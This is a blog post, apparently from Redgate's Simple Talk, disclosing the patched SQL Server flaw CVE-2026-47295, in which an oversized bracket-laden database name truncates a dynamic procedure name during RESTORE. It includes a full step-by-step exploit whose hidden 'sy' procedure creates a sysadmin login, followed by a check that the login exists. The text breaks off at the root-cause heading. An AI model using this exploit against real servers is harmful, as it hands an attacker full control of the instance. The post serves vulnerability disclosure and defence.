{"id":111803,"date":"2026-07-31T12:00:00","date_gmt":"2026-07-31T12:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=111803"},"modified":"2026-07-24T11:24:29","modified_gmt":"2026-07-24T11:24:29","slug":"how-a-sql-server-backup-can-execute-attacker-code-during-restore-and-how-to-prevent-it-cve-2026-47295-vulnerability","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/how-a-sql-server-backup-can-execute-attacker-code-during-restore-and-how-to-prevent-it-cve-2026-47295-vulnerability\/","title":{"rendered":"How a SQL Server backup can execute attacker code during restore &#8211; and how to prevent it (CVE-2026-47295 vulnerability)"},"content":{"rendered":"\n<p><strong>CVE-2026-47295 is a SQL Server vulnerability that lets a maliciously crafted database backup execute attacker-controlled code with sysadmin privileges during a routine <code>RESTORE DATABASE<\/code> operation.<\/strong> <\/p>\n\n\n\n<p><strong>The flaw lives in the internal replication cleanup procedure <code>sys.sp_MSremovedbreplication_internal<\/code>, which builds a dynamic procedure name from the restored database&#8217;s name using <code>QUOTENAME()<\/code>. Because the destination variable is only <code>nvarchar(255)<\/code>, a carefully crafted database name \u2014 one packed with closing square brackets \u2014 causes the generated name to be silently truncated into a different, attacker-controlled procedure name. <\/strong><\/p>\n\n\n\n<p><strong>SQL Server then executes that procedure under an elevated internal restore context. The proof of concept detailed in this article demonstrates full instance compromise: a restored backup creates a new SQL Server login and adds it to the sysadmin fixed server role, with no application input, no visible SQL injection syntax, and no chance for an administrator to review the database first.<\/strong><\/p>\n\n\n\n<p><em>This article is part of Fabiano Amorim&#8217;s <a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/sql-server-security-vulnerabilities-you-werent-aware-of\/\" target=\"_blank\" rel=\"noreferrer noopener\">series on SQL Server vulnerabilities you may not be aware of<\/a>.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-a-quick-introduction-to-sql-server-backups\">A quick introduction to SQL Server backups<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server<\/a> backups are usually treated as data. A <code>.bak<\/code> file is something we restore, validate, refresh into QA, move between environments, use for <a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/migrating-from-on-prem-to-the-cloud-dba-stories\/\" target=\"_blank\" rel=\"noreferrer noopener\">migrations<\/a>, or load during <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/disaster-recovery-planning-for-data-the-cribsheet\/\" target=\"_blank\" rel=\"noreferrer noopener\">disaster recovery<\/a> exercises. It&#8217;s common to think about the data inside the backup: tables, indexes, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/other\/for-the-love-of-stored-procedures\/\" target=\"_blank\" rel=\"noreferrer noopener\">stored procedures<\/a>, users, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-access-control-basics\/#securables-and-permissions:~:text=value%20DbUser1.-,Securables%20and%20permissions,-Once%20we%20have\" target=\"_blank\" rel=\"noreferrer noopener\">permissions<\/a>, and application state. <\/p>\n\n\n\n<p>However, a backup is more than just the data within it. It also contains metadata, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/other\/sql-naming-conventions\/\" target=\"_blank\" rel=\"noreferrer noopener\">object names<\/a>, replication state, and database-level configurations. And, in some restore paths, that metadata is not just loaded &#8211; it&#8217;s acted upon by SQL Server itself.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-sql-server-cve-2026-47295-vulnerability-and-why-it-s-so-unique\">The SQL Server CVE-2026-47295 vulnerability &#8211; and why it&#8217;s so unique<\/h2>\n\n\n\n<p>In this article, I&#8217;ll reveal and explain a vulnerability I reported to Microsoft. It was assigned <strong>CVE-2026-47295<\/strong> and fixed in the July 2026 SQL Server security update.<\/p>\n\n\n\n<p><em>While the vulnerability has been fixed<\/em>, <em>I will refer to it in the present tense<\/em> <em>for the purposes of this article.<\/em><\/p>\n\n\n\n<p>The vulnerability exists in SQL Server\u2019s restore \/ replication-cleanup path. More specifically, it&#8217;s reachable when a <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/replication\/enable-a-database-for-replication-sql-server-management-studio?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">replication-enabled database<\/a> is restored and SQL Server invokes internal replication cleanup procedures. The vulnerable procedure is <code>sys.sp_MSremovedbreplication_internal<\/code>.<\/p>\n\n\n\n<p>At a high level, the issue is a truncation-based <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/exposing-a-sql-injection-vulnerability-youve-never-heard-of-what-it-is-how-it-works-and-key-takeaways\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL injection<\/a> \/ procedure-name injection vulnerability. SQL Server builds a procedure name dynamically using the restored database name, stores it in a variable that is too small, silently truncates the value, and then executes the truncated procedure name under an elevated internal restore context.<\/p>\n\n\n\n<p>The result is serious. A maliciously crafted backup can cause attacker-controlled T-SQL to execute during <code><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/t-sql\/statements\/restore-statements-transact-sql?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">RESTORE DATABASE<\/a><\/code> before an administrator even has a chance to review the restored database.<\/p>\n\n\n\n<p>The proof-of-concept demonstrates full instance compromise by creating a new SQL Server login and adding it to the <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/why-disabling-the-sql-server-sa-account-still-matters-in-2026\/\" target=\"_blank\" rel=\"noreferrer noopener\"><code>sysadmin<\/code> fixed server role<\/a>.<\/p>\n\n\n\n<div id=\"callout-block_bf46da3183ce21a1aa3ad08c7629578a\" class=\"callout alignnone\">\n    <div class=\"child-last:mb-0 child-first:mt-0 bg-gray-50 dark:bg-gray-950 p-4xl my-3xl\">\n\n<p>This article is part of Fabiano Amorim&#8217;s series on <strong>SQL Server vulnerabilities you weren&#8217;t aware of<\/strong> &#8211; click <a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/sql-server-security-vulnerabilities-you-werent-aware-of\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a> for more.<\/p>\n\n<\/div>\n<\/div> \n\n\n<h3 class=\"wp-block-heading\" id=\"h-why-this-sql-server-vulnerability-is-so-interesting-and-unique\">Why this SQL Server vulnerability is so interesting (and unique)<\/h3>\n\n\n\n<p>Most SQL injection vulnerabilities are fairly easy to categorize, but this one&#8217;s slightly different. There&#8217;s no classic web form, application query, or obvious <code>DROP TABLE<\/code> payload. And the attacker isn&#8217;t directly passing text into a stored procedure and waiting for it to be concatenated into a batch.<\/p>\n\n\n\n<p>Instead, the vulnerable input is a <a style=\"font-weight: bold;\" href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/databases\/database-identifiers?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">database identifier<\/a>. The attack abuses how SQL Server constructs a three-part procedure name during restore: <code style=\"\">[database_name].sys.sp_MSremovedbreplication<\/code> (which is stored in an <code>nvarchar(255)<\/code> variable.) This is fine under normal database names but, under a carefully crafted database name, it&#8217;s not long enough.<\/p>\n\n\n\n<p>The string being truncated is not the only issue, though. <strong>The real problem is that the truncation can turn the intended procedure name into a different, attacker-controlled procedure name<\/strong> <strong>&#8211; the key idea behind this vulnerability.<\/strong><\/p>\n\n\n\n<p>While the engine intended to execute this: <code>[restored_database].sys.sp_MSremovedbreplication<\/code> &#8211; the variable is too small, so the generated procedure name can easily be truncated into something equivalent to <code>[attacker_controlled_schema].sy<\/code>. <\/p>\n\n\n\n<p>So, if the attacker has prepared a stored procedure named <code>sy<\/code> under a matching schema inside the database backup, SQL Server executes that attacker-controlled procedure during the restore process. And because this happens inside the restore \/ replication-cleanup path, the attacker-controlled procedure runs under an elevated internal context.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-restore-replication-call-chain\">The restore \/ replication call chain<\/h2>\n\n\n\n<p><strong>The vulnerable path starts during <code>RESTORE DATABASE<\/code>.<\/strong><\/p>\n\n\n\n<p>When SQL Server restores a database, it may need to deal with replication metadata. This is especially important when the database being restored was configured as a transactional publisher, merge publisher, distributor, transactional subscriber, or merge subscriber. <\/p>\n\n\n\n<p>SQL Server uses the <code>sys.sp_restoredbreplication<\/code> procedure as part of that flow, and the header comment in this procedure explains its purpose clearly:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/*\n * used by restore process to strip out replication settings if restoring to non-originating\n * server\/db or system otherwise not capable of keeping replication working\n * WARNING : procs called here run internal to server and must be owner qualified\n*\/<\/pre><\/div>\n\n\n\n<p>That warning is important. It tells us these procedures are not ordinary application procedures &#8211; they are part of a trusted internal restore path.<\/p>\n\n\n\n<p><code>sys.sp_restoredbreplication<\/code> first checks whether the caller has a role that is allowed to restore the database:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) \n   and (ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0)\n   and (ISNULL(IS_MEMBER('db_owner'),0) = 0)\nbegin\n    raiserror(18799, 16, -1) \n    return 1\nend<\/pre><\/div>\n\n\n\n<p> It then checks whether the restored database contains replication-related objects. For example:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">if object_id(N'syspublications', N'U') is not null \n    or object_id(N'syspublications', N'V') is not null \n    or object_id(N'sysmergepublications', N'U') is not null\n    or object_id(N'MSreplication_subscriptions', 'U') is not null\n    or object_id(N'MSmerge_replinfo', 'U') is not null\nbegin\n    exec @retcode = sys.sp_MSrestoredbreplication\n        @srv_orig = @srv_orig, \n        @db_orig = @db_orig,\n        @keep_replication = @keep_replication,\n        @perform_upgrade = @perform_upgrade,\n        @recoveryforklsn = @recoveryforklsn\nend<\/pre><\/div>\n\n\n\n<p>So, the first part of the call chain is:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">RESTORE DATABASE\n    -&gt; sys.sp_restoredbreplication\n        -&gt; sys.sp_MSrestoredbreplication<\/pre><\/div>\n\n\n\n<p>Inside <code>sys.sp_MSrestoredbreplication<\/code>, SQL Server determines whether replication should be removed from the restored database. One condition is whether the database is being restored to a different server or under a different database name, and whether <code>KEEP_REPLICATION<\/code> was requested or not. The relevant condition is:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">if (( UPPER(@srv_orig) &lt;&gt; UPPER(@@SERVERNAME) ) or ( @db_orig &lt;&gt; @db_curr ))\n   and @keep_replication = 0\nbegin\n   select @remove_repl = 1\n   ...\nend<\/pre><\/div>\n\n\n\n<p>Later, if replication is installed and cleanup is required, SQL Server calls the vulnerable procedure:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">if ( @repl_installed = 1 ) and ( @remove_repl = 1 ) begin\n    if @requires_replication_fs = 1 DBCC TRACEON (8224, -1)\n\n    exec sys.sp_MSremovedbreplication_internal\n        @dbname = @db_curr,\n        @ignore_distributor = 1,\n        @from_backup = 1\n\n    if @requires_replication_fs = 1 DBCC TRACEOFF (8224, -1)\nend<\/pre><\/div>\n\n\n\n<p>Now, the call chain becomes:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">RESTORE DATABASE\n    -&gt; sys.sp_restoredbreplication\n        -&gt; sys.sp_MSrestoredbreplication\n            -&gt; sys.sp_MSremovedbreplication_internal<\/pre><\/div>\n\n\n\n<p><strong>&#8230;and the vulnerability is in that last procedure.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-vulnerable-code\">The vulnerable code<\/h2>\n\n\n\n<p>Here&#8217;s the relevant part of <code>sys.sp_MSremovedbreplication_internal<\/code>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">create procedure sys.sp_MSremovedbreplication_internal \n(\n      @dbname               sysname,\n      @type                 nvarchar(5) = 'both',\n      @ignore_distributor   bit = 0,\n      @from_backup          bit = 0\n) \nAS\n    SET NOCOUNT ON\n\n    DECLARE @retcode int\n    DECLARE @proc nvarchar(255)\n    DECLARE @restoreoverride int\n    DECLARE @db_status sysname\n    DECLARE @ErrorMessage NVARCHAR(4000)\n\n    ...<\/pre><\/div>\n\n\n\n<p>The important variable is <code>DECLARE @proc nvarchar(255)<\/code>. The procedure then builds a dynamic procedure name:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'\n\nEXEC @retcode = @proc\n    @type = @type,\n    @ignore_distributor = @ignore_distributor,\n    @from_backup = @from_backup<\/pre><\/div>\n\n\n\n<p>At first glance, this looks reasonable. The code isn&#8217;t building a raw batch like <code>EXEC('...')<\/code>. Instead, it&#8217;s building an object name and then executing it: <code>EXEC @retcode = @proc ...<\/code><\/p>\n\n\n\n<p>The database name is also passed through <code>QUOTENAME()<\/code>, which is <em>usually<\/em> the right function to use when converting an identifier into a delimited identifier. The intended result is <code>[DatabaseName].sys.sp_MSremovedbreplication<\/code>.<\/p>\n\n\n\n<p>The problem, however, is the size of <code>@proc<\/code>. A SQL Server <code>sysname<\/code> can be up to 128 characters, but <code>QUOTENAME()<\/code> can make the resulting string much longer, especially when the input contains closing square brackets (]). This is because every ] inside a <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/databases\/database-identifiers?view=sql-server-ver17#:~:text=in%20regular%20identifiers.-,Bracket%2Ddelimited%20identifiers,-Bracket%2Ddelimited%20identifiers\" target=\"_blank\" rel=\"noreferrer noopener\">bracket-delimited identifier<\/a> must be escaped by doubling it.<\/p>\n\n\n\n<p>For example, a database name made of many ] characters expands significantly when passed through <code>QUOTENAME()<\/code>. If the database name is 125 closing brackets, then:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Original database name length: 125\nQUOTENAME(@dbname) length:     252\nSuffix length:                  29\nFull procedure name length:    281<\/pre><\/div>\n\n\n\n<p>The suffix is <code>.sys.sp_MSremovedbreplication<\/code>, but <code>@proc<\/code> can only hold 255 characters: <code>DECLARE @proc nvarchar(255)<\/code>.<\/p>\n\n\n\n<p>This results in SQL Server silently truncating the generated procedure name during assignment, which changes the meaning of the procedure name in the process. <\/p>\n\n\n\n<p>So, instead of storing the full intended value &#8211; <code>[escaped_database_name].sys.sp_MSremovedbreplication<\/code> &#8211; the variable ends with only the first few characters of the suffix: <code>[escaped_database_or_schema_name].sy<\/code>. This is enough to redirect execution.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-the-crafted-name-works\">Why the crafted name works<\/h2>\n\n\n\n<p>The proof-of-concept uses a database name made of 125 closing square brackets:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]<\/pre><\/div>\n\n\n\n<p>This looks strange, but is in fact a valid delimited identifier. The reason it&#8217;s useful is because of how <code>QUOTENAME()<\/code> escapes closing brackets. A simplified example being <code>SELECT QUOTENAME(N']')<\/code>, which returns just <code>[]]]<\/code>. That is:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Opening bracket: [\nEscaped closing bracket: ]]\nClosing bracket: ]<\/pre><\/div>\n\n\n\n<p>Every ] in the original name becomes ]] in the quoted name, so when the original database name contains 125 ] characters, the quoted version becomes <em>very<\/em> large! When SQL Server then appends <code>.sys.sp_MSremovedbreplication<\/code>, the generated string no longer fits inside <code>nvarchar(255)<\/code>.<\/p>\n\n\n\n<p>The attacker chooses the database-name length so that the truncation happens at a useful point: after <code>.sy<\/code>. This means the variable no longer references the intended system procedure &#8211; it references a shorter name ending in <code>sy<\/code>. The attacker then creates a matching schema and stored procedure inside the malicious database:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE SCHEMA [same crafted name]\nGO\n\nCREATE PROC [same crafted name].[sy]\n...<\/pre><\/div>\n\n\n\n<p>When SQL Server later executes the truncated <code>@proc<\/code> value, name resolution reaches the attacker-controlled procedure. This is the core of the vulnerability:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">1. SQL Server builds an intended procedure name from a database name.\n2. The database name is attacker-controlled through the restored backup.\n3. QUOTENAME() expands the database name.\n4. The generated procedure name is longer than nvarchar(255).\n5. SQL Server truncates the value.\n6. The truncated value becomes a valid attacker-controlled procedure name.\n7. SQL Server executes that procedure under the elevated restore context.<\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-is-this-a-sql-server-privilege-escalation\">Why is this a SQL Server privilege escalation?<\/h2>\n\n\n\n<p><strong>Put simply, the attacker doesn&#8217;t just cause an error &#8211; they get code execution inside a privileged internal workflow within the SQL Server. <\/strong><\/p>\n\n\n\n<p>This is possible because the procedure <code>sys.sp_MSremovedbreplication_internal<\/code> is part of the restore \/ replication cleanup path &#8211; and the restore engine invokes this path while handling replication metadata. <\/p>\n\n\n\n<p>According to the behavior observed in the proof-of-concept, the attacker-controlled stored procedure executes under an internal elevated context (effectively <code>sa<\/code>). This changes the impact completely, as no longer is the attacker-controlled procedure ran as the low-privileged login that created the database (interesting, but not critical).<\/p>\n\n\n\n<p>Instead, the attacker-controlled procedure can run as the elevated restore context, and the malicious backup can become a vehicle for <a href=\"https:\/\/www.red-gate.com\/simple-talk\/data-security-privacy-compliance\/sql-server-privilege-escalation-via-replication-jobs\/#:~:text=critical%20for%20security.-,What%20is%20Privilege%20Escalation%20in%20SQL%20Server%3F,-Privilege%20escalation%20is\" target=\"_blank\" rel=\"noreferrer noopener\">privilege escalation<\/a>. The proof-of-concept demonstrates this by creating a new login:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE LOGIN [NewSysAdminLogin]\nWITH PASSWORD=N'complexpwd', CHECK_POLICY=OFF<\/pre><\/div>\n\n\n\n<p>&#8230;and then adding it to the <code>sysadmin<\/code> fixed server role:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \"> ALTER SERVER ROLE [sysadmin] ADD MEMBER [NewSysAdminLogin]<\/pre><\/div>\n\n\n\n<p><strong>After the restore completes, the login exists on the target instance, and is a sysadmin. This is full-instance compromise.<\/strong><\/p>\n\n\n\n<section id=\"my-first-block-block_44e0400723d90725277a26262ef1a614\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Protect your data. Demonstrate compliance.<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            With Redgate, stay ahead of threats with real-time monitoring and alerts, protect sensitive data with automated discovery &#038; masking, and demonstrate compliance with traceability across every environment.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/solutions\/use-cases\/security-and-compliance\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Learn more: Protect your data. Demonstrate compliance.\">Learn more<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-full-reproduction-of-the-vulnerability-step-by-step-guide\">Full reproduction of the vulnerability (step-by-step guide)<\/h2>\n\n\n\n<p>The following full reproduction of the security vulnerability should be run only in an isolated lab environment. The scenario uses two SQL Server instances:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Instance A: attacker-controlled build instance\nInstance B: target restore instance<\/pre><\/div>\n\n\n\n<p>The attacker prepares the malicious backup on Instance A, and the backup is restored on Instance B. The restore on Instance B then triggers the replication cleanup path, causing SQL Server to execute the attacker-controlled procedure.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 1: Create a database using a crafted name<\/h3>\n\n\n\n<p>First, create a database with a name made of 125 closing square brackets:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master\nGO\n\nCREATE DATABASE \"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nGO<\/pre><\/div>\n\n\n\n<p>This database name is important because it causes <code>QUOTENAME(@dbname)<\/code> to expand enough that this expression becomes longer than 255 characters: <code>quotename(@dbname) + '.sys.sp_MSremovedbreplication'<\/code>. The vulnerable procedure then stores that expression in <code>@proc nvarchar(255)<\/code>, which causes truncation.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 2: Enable replication publishing<\/h3>\n\n\n\n<p><strong>The vulnerable restore path is only reached when SQL Server detects replication-related metadata.<\/strong> Enable publishing on the crafted-name database:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">EXEC sp_replicationdboption\n    @dbname =\nN']]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]',\n    @optname = N'publish',\n    @value = N'true'\nGO<\/pre><\/div>\n\n\n\n<p>This step ensures the database carries replication state so that, during restore, SQL Server invokes the replication cleanup workflow. <em>Without<\/em> this replication state, <code>sp_restoredbreplication<\/code> may not call the deeper replication cleanup procedures.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 3: Create the attacker-controlled schema and procedure<\/h3>\n\n\n\n<p>Switch to the crafted-name database&#8230;<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nGO<\/pre><\/div>\n\n\n\n<p>&#8230;and then create a schema with it:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE SCHEMA\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nGO<\/pre><\/div>\n\n\n\n<p>Under the schema, create a stored procedure called <code>sy<\/code>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">CREATE PROC\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\".\n\"sy\"\n    @type               NVARCHAR(5) = '',\n    @ignore_distributor BIT = 0,\n    @from_backup        BIT = 0\nAS\nBEGIN\n    BEGIN TRY\n        IF SUSER_ID('NewSysAdminLogin') IS NULL\n        BEGIN\n            CREATE LOGIN [NewSysAdminLogin]\n                WITH PASSWORD=N'complexpwd',\n                CHECK_POLICY=OFF;\n\n            ALTER SERVER ROLE [sysadmin]\n                ADD MEMBER [NewSysAdminLogin];\n        END\n    END TRY\n    BEGIN CATCH\n        PRINT ERROR_MESSAGE();\n    END CATCH\nEND\nGO<\/pre><\/div>\n\n\n\n<p>The procedure signature is intentional. The vulnerable code later calls the generated procedure name with these parameters:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">@type = @type,\n@ignore_distributor = @ignore_distributor,\n@from_backup = @from_backup<\/pre><\/div>\n\n\n\n<p>Therefore, the attacker-controlled procedure must accept compatible parameters. The payload in this demonstration creates a SQL login and adds it to <code>sysadmin<\/code>. This isn&#8217;t required for exploitation, but <em>is<\/em> a clear way to prove that the code executed with elevated server-level privileges.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-4-back-up-the-database\">Step 4: Back up the database<\/h3>\n\n\n\n<p>Back up the crafted database:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">BACKUP DATABASE\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nTO DISK = N'C:\\Temp\\Backup\\Test1.bak'\nWITH\n    NAME = N'Test1-Full Database Backup',\n    SKIP,\n    NOREWIND,\n    NOUNLOAD,\n    STATS = 10\nGO<\/pre><\/div>\n\n\n\n<p>At this point, the malicious content is inside the backup &#8211; this content being:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">- A replication-enabled database\n- A crafted database name\n- A crafted schema name\n- A stored procedure named sy\n- A payload that creates a sysadmin login<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">Step 5: Restore the backup on a different instance<\/h3>\n\n\n\n<p>Now, move the backup to another SQL Server instance, and restore it there:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE [master];\nGO\n\nRESTORE DATABASE\n\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\"\nFROM DISK = N'C:\\Temp\\Backup\\Test1.bak'\nWITH\n    FILE = 1,\n    MOVE N'Tmp1'     TO N'C:\\Temp\\Tmp1.mdf',\n    MOVE N'Tmp1_log' TO N'C:\\Temp\\Tmp1_log.ldf',\n    REPLACE\nGO<\/pre><\/div>\n\n\n\n<p>Because the database is restored on a different instance, SQL Server determines that replication cleanup is required. <strong>This is the trigger for the vulnerability.<\/strong> The restore path now calls <code>sys.sp_restoredbreplication<\/code>, which in turn calls <code>sys.sp_MSrestoredbreplication<\/code> and then, finally, <code>sys.sp_MSremovedbreplication_internal<\/code>.<\/p>\n\n\n\n<p>Then, inside <code>sys.sp_MSremovedbreplication_internal<\/code>, SQL Server builds the intended procedure name:<br><code>SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'<\/code><\/p>\n\n\n\n<p>However, the value is truncated, because <code>@proc<\/code> is <code>only nvarchar(255)<\/code>. This truncated procedure name resolves to the attacker-controlled procedure:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\"]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]\".\"sy\"<\/pre><\/div>\n\n\n\n<p>SQL Server now executes it with the parameters expected by the original internal call.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-step-6-verify-the-result\">Step 6: Verify the result<\/h3>\n\n\n\n<p>After the restore, check whether the login was created and whether it&#8217;s a <code>sysadmin<\/code>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT\n    SUSER_ID('NewSysAdminLogin') AS loginid,\n    IS_SRVROLEMEMBER('sysadmin', 'NewSysAdminLogin') AS is_sysadmin;\nGO<\/pre><\/div>\n\n\n\n<p>The result should be:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">loginid     is_sysadmin\n----------- -----------\n381         1<\/pre><\/div>\n\n\n\n<p>The exact <code>loginid<\/code> may differ, but <code>is_sysadmin = 1<\/code> confirms the impact. <strong>The attacker-controlled procedure executed during restore and successfully added a new member to the <code>sysadmin<\/code> server role.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-s-the-root-cause-of-this-sql-server-vulnerability\">What&#8217;s the root cause of this SQL Server 